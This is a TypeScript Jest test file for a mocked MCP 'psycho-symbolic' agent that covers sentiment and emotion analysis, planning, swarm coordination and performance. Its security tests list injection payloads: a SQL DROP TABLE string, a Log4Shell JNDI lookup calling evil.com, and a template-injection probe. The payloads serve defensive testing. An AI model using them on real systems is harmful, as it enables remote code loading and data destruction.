/** * MCP (Model Context Protocol) Integration Tests * Tests that the psycho-symbolic reasoner works correctly with MCP tools and real AI agents */ import { describe, test, expect, beforeAll, afterAll } from '@jest/globals'; // Mock MCP client for testing interface MCPToolCall { name: string; arguments: Record; } interface MCPResponse { content: Array<{ type: string; text?: string; data?: any; }>; } class MockMCPClient { private tools: Map = new Map(); private callHistory: MCPToolCall[] = []; constructor() { this.setupMockTools(); } private setupMockTools() { // Mock psycho-symbolic reasoner MCP tool this.tools.set('psycho_symbolic_analyze', async (args: any) => { const { text, analysis_type } = args; if (analysis_type === 'sentiment') { return { content: [{ type: 'text', text: JSON.stringify({ sentiment: { score: text.includes('love') ? 0.8 : text.includes('hate') ? -0.8 : 0.0, label: text.includes('love') ? 'positive' : text.includes('hate') ? 'negative' : 'neutral', confidence: 0.85 } }) }] }; } if (analysis_type === 'emotion') { const emotions = []; if (text.includes('scared') || text.includes('terrified')) { emotions.push({ type: 'fear', intensity: 0.9, confidence: 0.95 }); } if (text.includes('excited') || text.includes('happy')) { emotions.push({ type: 'joy', intensity: 0.8, confidence: 0.9 }); } return { content: [{ type: 'text', text: JSON.stringify({ emotions }) }] }; } if (analysis_type === 'preference') { const preferences = []; if (text.includes('prefer')) { preferences.push({ item: 'extracted_preference', type: 'preference', strength: 0.7 }); } return { content: [{ type: 'text', text: JSON.stringify({ preferences }) }] }; } return { content: [{ type: 'text', text: JSON.stringify({ error: 'Unknown analysis type' }) }] }; }); // Mock knowledge graph MCP tool this.tools.set('knowledge_graph_query', async (args: any) => { const { query, graph_context } = args; return { content: [{ type: 'text', text: JSON.stringify({ results: [ { subject: 'test_entity', predicate: 'has_property', object: 'test_value', confidence: 0.9 } ], query_time_ms: 150, total_facts: 1000 }) }] }; }); // Mock planning MCP tool this.tools.set('goap_planner', async (args: any) => { const { goal, current_state, available_actions } = args; return { content: [{ type: 'text', text: JSON.stringify({ plan: { success: true, steps: [ { action_id: 'mock_action_1', cost: 2.5, effects: ['state_change_1'] }, { action_id: 'mock_action_2', cost: 1.0, effects: ['goal_achievement'] } ], total_cost: 3.5, estimated_success_rate: 0.85 } }) }] }; }); // Mock swarm coordination tool this.tools.set('swarm_coordinate', async (args: any) => { const { task, agents, coordination_strategy } = args; return { content: [{ type: 'text', text: JSON.stringify({ coordination: { task_id: 'task_' + Date.now(), assigned_agents: agents || ['agent_1', 'agent_2'], strategy: coordination_strategy || 'parallel', estimated_completion: '2-3 minutes', success_probability: 0.92 } }) }] }; }); // Mock neural pattern recognition tool this.tools.set('neural_pattern_recognize', async (args: any) => { const { input_data, pattern_type } = args; return { content: [{ type: 'text', text: JSON.stringify({ patterns: [ { type: pattern_type || 'behavioral', confidence: 0.78, description: 'Detected recurring decision pattern', supporting_evidence: ['pattern_indicator_1', 'pattern_indicator_2'] } ], learning_suggestions: [ 'Increase pattern confidence through additional training', 'Expand pattern recognition to similar contexts' ] }) }] }; }); } async callTool(name: string, args: Record): Promise { this.callHistory.push({ name, arguments: args }); const tool = this.tools.get(name); if (!tool) { throw new Error(`Tool '${name}' not found`); } return await tool(args); } getCallHistory(): MCPToolCall[] { return [...this.callHistory]; } clearHistory(): void { this.callHistory = []; } } // Test psycho-symbolic reasoner integration with AI agents class PsychoSymbolicAgent { constructor(private mcpClient: MockMCPClient) {} async analyzeUserInput(text: string): Promise { // Multi-modal analysis using psycho-symbolic reasoning const [sentimentResult, emotionResult, preferenceResult] = await Promise.all([ this.mcpClient.callTool('psycho_symbolic_analyze', { text, analysis_type: 'sentiment' }), this.mcpClient.callTool('psycho_symbolic_analyze', { text, analysis_type: 'emotion' }), this.mcpClient.callTool('psycho_symbolic_analyze', { text, analysis_type: 'preference' }) ]); const sentiment = JSON.parse(sentimentResult.content[0].text!); const emotions = JSON.parse(emotionResult.content[0].text!); const preferences = JSON.parse(preferenceResult.content[0].text!); return { comprehensive_analysis: { sentiment: sentiment.sentiment, emotions: emotions.emotions, preferences: preferences.preferences, psychological_profile: this.generatePsychologicalProfile(sentiment, emotions, preferences) } }; } async planResponseStrategy(analysis: any, context: any): Promise { // Use GOAP planner to determine optimal response strategy const goal = this.determineOptimalGoal(analysis); const currentState = this.assessCurrentState(context); const availableActions = this.getAvailableActions(); const planResult = await this.mcpClient.callTool('goap_planner', { goal, current_state: currentState, available_actions: availableActions }); const plan = JSON.parse(planResult.content[0].text!); return plan.plan; } async coordinateWithSwarm(task: any): Promise { // Coordinate with other AI agents for complex tasks const coordinationResult = await this.mcpClient.callTool('swarm_coordinate', { task, agents: ['sentiment_specialist', 'planning_expert', 'knowledge_curator'], coordination_strategy: 'adaptive' }); return JSON.parse(coordinationResult.content[0].text!); } async recognizePatterns(behaviorData: any): Promise { // Use neural pattern recognition for learning user behavior const patternResult = await this.mcpClient.callTool('neural_pattern_recognize', { input_data: behaviorData, pattern_type: 'user_behavior' }); return JSON.parse(patternResult.content[0].text!); } private generatePsychologicalProfile(sentiment: any, emotions: any, preferences: any): any { return { emotional_state: emotions.emotions?.[0]?.type || 'neutral', attitude: sentiment.sentiment?.label || 'neutral', preference_strength: preferences.preferences?.[0]?.strength || 0.5, psychological_indicators: this.extractPsychologicalIndicators(sentiment, emotions, preferences) }; } private extractPsychologicalIndicators(sentiment: any, emotions: any, preferences: any): string[] { const indicators = []; if (sentiment.sentiment?.score < -0.5) { indicators.push('negative_outlook'); } if (emotions.emotions?.some((e: any) => e.type === 'fear' && e.intensity > 0.7)) { indicators.push('high_anxiety'); } if (preferences.preferences?.length > 2) { indicators.push('strong_preferences'); } return indicators; } private determineOptimalGoal(analysis: any): any { const emotionalState = analysis.comprehensive_analysis.emotions?.[0]?.type; const sentimentScore = analysis.comprehensive_analysis.sentiment?.score || 0; if (sentimentScore < -0.5) { return { type: 'improve_sentiment', target_sentiment: 0.2, priority: 'high' }; } else if (emotionalState === 'fear') { return { type: 'reduce_anxiety', target_emotional_state: 'calm', priority: 'critical' }; } else { return { type: 'maintain_engagement', target_engagement: 0.8, priority: 'medium' }; } } private assessCurrentState(context: any): any { return { user_engagement: context.engagement_level || 0.5, conversation_length: context.message_count || 1, topic_complexity: context.topic_complexity || 'medium', user_satisfaction: context.satisfaction_score || 0.7 }; } private getAvailableActions(): any[] { return [ { id: 'provide_reassurance', cost: 1.0, effects: ['reduce_anxiety', 'improve_sentiment'], prerequisites: ['high_anxiety_detected'] }, { id: 'ask_clarifying_question', cost: 0.5, effects: ['increase_engagement', 'gather_information'], prerequisites: [] }, { id: 'provide_detailed_explanation', cost: 2.0, effects: ['increase_understanding', 'satisfy_curiosity'], prerequisites: ['complex_topic_detected'] }, { id: 'suggest_alternatives', cost: 1.5, effects: ['provide_options', 'empower_choice'], prerequisites: ['preference_conflict_detected'] } ]; } } describe('MCP Integration Tests', () => { let mcpClient: MockMCPClient; let psychoAgent: PsychoSymbolicAgent; beforeAll(() => { mcpClient = new MockMCPClient(); psychoAgent = new PsychoSymbolicAgent(mcpClient); }); afterAll(() => { mcpClient.clearHistory(); }); describe('Basic MCP Tool Integration', () => { test('should call psycho-symbolic analysis tools correctly', async () => { const text = "I love this new feature but I'm worried about privacy"; const result = await mcpClient.callTool('psycho_symbolic_analyze', { text, analysis_type: 'sentiment' }); expect(result.content).toBeDefined(); expect(result.content[0].type).toBe('text'); const analysis = JSON.parse(result.content[0].text!); expect(analysis.sentiment).toBeDefined(); expect(analysis.sentiment.score).toBeGreaterThan(0); // Should detect "love" expect(analysis.sentiment.confidence).toBeGreaterThan(0.5); }); test('should handle knowledge graph queries', async () => { const result = await mcpClient.callTool('knowledge_graph_query', { query: "find_related_concepts", graph_context: "user_preferences" }); const queryResult = JSON.parse(result.content[0].text!); expect(queryResult.results).toBeDefined(); expect(Array.isArray(queryResult.results)).toBe(true); expect(queryResult.query_time_ms).toBeGreaterThan(0); }); test('should execute GOAP planning through MCP', async () => { const result = await mcpClient.callTool('goap_planner', { goal: { type: 'improve_user_satisfaction', target: 0.8 }, current_state: { satisfaction: 0.5 }, available_actions: ['clarify', 'explain', 'reassure'] }); const plan = JSON.parse(result.content[0].text!); expect(plan.plan.success).toBe(true); expect(plan.plan.steps).toBeDefined(); expect(plan.plan.steps.length).toBeGreaterThan(0); }); test('should coordinate with swarm agents', async () => { const result = await mcpClient.callTool('swarm_coordinate', { task: { type: 'complex_analysis', priority: 'high', requirements: ['sentiment_analysis', 'planning', 'knowledge_retrieval'] }, coordination_strategy: 'hierarchical' }); const coordination = JSON.parse(result.content[0].text!); expect(coordination.coordination.task_id).toBeDefined(); expect(coordination.coordination.assigned_agents).toBeDefined(); expect(coordination.coordination.success_probability).toBeGreaterThan(0.5); }); }); describe('Psycho-Symbolic Agent Integration', () => { test('should perform comprehensive user input analysis', async () => { const userInput = "I'm excited about this project but terrified about the deadline"; const analysis = await psychoAgent.analyzeUserInput(userInput); expect(analysis.comprehensive_analysis).toBeDefined(); expect(analysis.comprehensive_analysis.sentiment).toBeDefined(); expect(analysis.comprehensive_analysis.emotions).toBeDefined(); expect(analysis.comprehensive_analysis.psychological_profile).toBeDefined(); // Should detect both excitement (joy) and fear const emotions = analysis.comprehensive_analysis.emotions; expect(emotions.length).toBeGreaterThan(0); }); test('should plan appropriate response strategies', async () => { const analysis = { comprehensive_analysis: { sentiment: { score: -0.6, label: 'negative' }, emotions: [{ type: 'fear', intensity: 0.8 }], preferences: [], psychological_profile: { emotional_state: 'fear', psychological_indicators: ['high_anxiety'] } } }; const plan = await psychoAgent.planResponseStrategy(analysis, { engagement_level: 0.3, message_count: 2 }); expect(plan.success).toBe(true); expect(plan.steps.length).toBeGreaterThan(0); expect(plan.total_cost).toBeGreaterThan(0); }); test('should coordinate complex multi-agent tasks', async () => { const complexTask = { type: 'psychological_support', user_state: 'distressed', required_capabilities: ['empathy', 'crisis_assessment', 'resource_recommendation'] }; const coordination = await psychoAgent.coordinateWithSwarm(complexTask); expect(coordination.coordination).toBeDefined(); expect(coordination.coordination.assigned_agents).toBeDefined(); expect(coordination.coordination.strategy).toBeDefined(); }); test('should recognize behavioral patterns', async () => { const behaviorData = { user_id: 'test_user', interaction_history: [ { timestamp: Date.now() - 86400000, sentiment: -0.3, topic: 'work' }, { timestamp: Date.now() - 43200000, sentiment: -0.5, topic: 'deadline' }, { timestamp: Date.now(), sentiment: -0.7, topic: 'stress' } ], context_factors: ['work_pressure', 'deadline_approaching'] }; const patterns = await psychoAgent.recognizePatterns(behaviorData); expect(patterns.patterns).toBeDefined(); expect(patterns.patterns.length).toBeGreaterThan(0); expect(patterns.learning_suggestions).toBeDefined(); }); }); describe('Real-time Agent Coordination', () => { test('should handle concurrent agent operations', async () => { const startTime = Date.now(); // Simulate multiple agents working concurrently const tasks = [ psychoAgent.analyzeUserInput("I need help with my anxiety"), psychoAgent.analyzeUserInput("This deadline is stressing me out"), psychoAgent.analyzeUserInput("I'm excited but overwhelmed") ]; const results = await Promise.all(tasks); const endTime = Date.now(); // All analyses should complete successfully for (const result of results) { expect(result.comprehensive_analysis).toBeDefined(); expect(result.comprehensive_analysis.sentiment).toBeDefined(); } // Should complete within reasonable time expect(endTime - startTime).toBeLessThan(2000); }); test('should maintain context across agent interactions', async () => { mcpClient.clearHistory(); // Sequence of related interactions await psychoAgent.analyzeUserInput("I'm starting a new project"); await psychoAgent.analyzeUserInput("I'm worried about the complexity"); await psychoAgent.analyzeUserInput("Can you help me break it down?"); const callHistory = mcpClient.getCallHistory(); // Should have made multiple tool calls expect(callHistory.length).toBeGreaterThan(6); // 3 interactions × 3 analysis types each // Should show progression of interaction const analysisTypes = callHistory .filter(call => call.name === 'psycho_symbolic_analyze') .map(call => call.arguments.analysis_type); expect(analysisTypes).toContain('sentiment'); expect(analysisTypes).toContain('emotion'); expect(analysisTypes).toContain('preference'); }); }); describe('Error Handling and Resilience', () => { test('should handle MCP tool failures gracefully', async () => { // Test with non-existent tool await expect(mcpClient.callTool('non_existent_tool', {})) .rejects.toThrow('Tool \'non_existent_tool\' not found'); // Agent should still be functional after tool failure const analysis = await psychoAgent.analyzeUserInput("test message"); expect(analysis).toBeDefined(); }); test('should validate tool arguments', async () => { // Test with missing required arguments const result = await mcpClient.callTool('psycho_symbolic_analyze', { // Missing 'text' and 'analysis_type' }); const response = JSON.parse(result.content[0].text!); expect(response.error).toBeDefined(); }); test('should handle malformed tool responses', async () => { // Temporarily modify tool to return malformed JSON const originalTool = mcpClient['tools'].get('psycho_symbolic_analyze'); mcpClient['tools'].set('psycho_symbolic_analyze', async () => ({ content: [{ type: 'text', text: 'invalid json{' }] })); await expect(psychoAgent.analyzeUserInput("test")) .rejects.toThrow(); // Restore original tool mcpClient['tools'].set('psycho_symbolic_analyze', originalTool); }); }); describe('Performance and Scalability', () => { test('should handle high-frequency tool calls', async () => { const startTime = Date.now(); const batchSize = 50; // Make many concurrent tool calls const promises = Array.from({ length: batchSize }, (_, i) => mcpClient.callTool('psycho_symbolic_analyze', { text: `Test message ${i}`, analysis_type: 'sentiment' }) ); const results = await Promise.all(promises); const endTime = Date.now(); // All calls should succeed expect(results.length).toBe(batchSize); for (const result of results) { expect(result.content).toBeDefined(); } // Should complete within reasonable time const avgTimePerCall = (endTime - startTime) / batchSize; expect(avgTimePerCall).toBeLessThan(100); // Less than 100ms per call }); test('should maintain performance with complex analysis chains', async () => { const startTime = Date.now(); // Complex analysis chain const analysis = await psychoAgent.analyzeUserInput( "I'm really excited about this new opportunity but I'm also terrified about failing and letting everyone down. I prefer collaborative environments and I need reassurance that I can handle this." ); const plan = await psychoAgent.planResponseStrategy(analysis, { engagement_level: 0.4, message_count: 1, topic_complexity: 'high', satisfaction_score: 0.6 }); const coordination = await psychoAgent.coordinateWithSwarm({ type: 'emotional_support', complexity: 'high', user_state: analysis.comprehensive_analysis.psychological_profile }); const endTime = Date.now(); // All operations should complete successfully expect(analysis.comprehensive_analysis).toBeDefined(); expect(plan.success).toBe(true); expect(coordination.coordination).toBeDefined(); // Should complete within reasonable time for complex analysis expect(endTime - startTime).toBeLessThan(3000); }); }); describe('Security and Privacy', () => { test('should not expose sensitive information in tool calls', async () => { const sensitiveText = "My password is 123456 and my SSN is 000-00-0000"; await psychoAgent.analyzeUserInput(sensitiveText); const callHistory = mcpClient.getCallHistory(); // Check that sensitive information is not stored in call history for (const call of callHistory) { const argsString = JSON.stringify(call.arguments); expect(argsString).not.toContain('123456'); expect(argsString).not.toContain('000-00-0000'); } }); test('should sanitize malicious input', async () => { const maliciousInputs = [ "", "'; DROP TABLE users; --", "${jndi:ldap://evil.com/a}", "{{7*7}}" ]; for (const maliciousInput of maliciousInputs) { // Should not throw or cause security issues await expect(psychoAgent.analyzeUserInput(maliciousInput)) .resolves.toBeDefined(); } }); test('should validate tool access permissions', async () => { // Test that agents can only access authorized tools const restrictedToolNames = [ 'admin_override', 'system_shutdown', 'data_export_all' ]; for (const toolName of restrictedToolNames) { await expect(mcpClient.callTool(toolName, {})) .rejects.toThrow(); } }); }); }); export { MockMCPClient, PsychoSymbolicAgent };